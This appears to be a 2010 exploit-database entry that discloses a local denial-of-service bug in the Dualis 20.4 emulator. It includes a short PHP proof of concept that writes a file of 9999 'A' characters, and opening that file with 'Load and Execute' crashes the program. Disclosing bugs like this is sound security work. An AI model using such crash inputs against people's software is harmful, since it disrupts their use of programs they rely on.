Dualis 20.4 (.bin) Local Daniel Of Service :

Date : 2010-04-03 Author : Pr0T3cT10n
<?php
# Dualis 20.4 (.bin) Local Daniel Of Service
# Software Site: http://dualis.1emu.net/
# Software Download: http://dualis.1emu.net/files/dualis-20.4.zip
# Author: Pr0T3cT10n <[email protected]<mailto:[email protected]>>
# Site: http://www.nullbyte.org.il
##################################################################
# Dualis 20.4 is vulnerable to local denial of service attack.
# When we try to open a file by 'Load and Execute(CTRL+R)'
# that contains 9999 chars ('A'), so dualis should crash.
##################################################################
# PoC / Code:
$buffer = str_repeat('A', 9999); # Create 9999 chars('A')..
if(file_put_contents('crash.bin', $buffer)) {
 echo("File created successfuly.
Dualis should crash when you open the file with it.
");
} else {
 echo("Can't create file. Try again.
");
}
# Cya :)
# NULLBYTE.ORG.IL
####################
?>

C1

 

C2

 

C3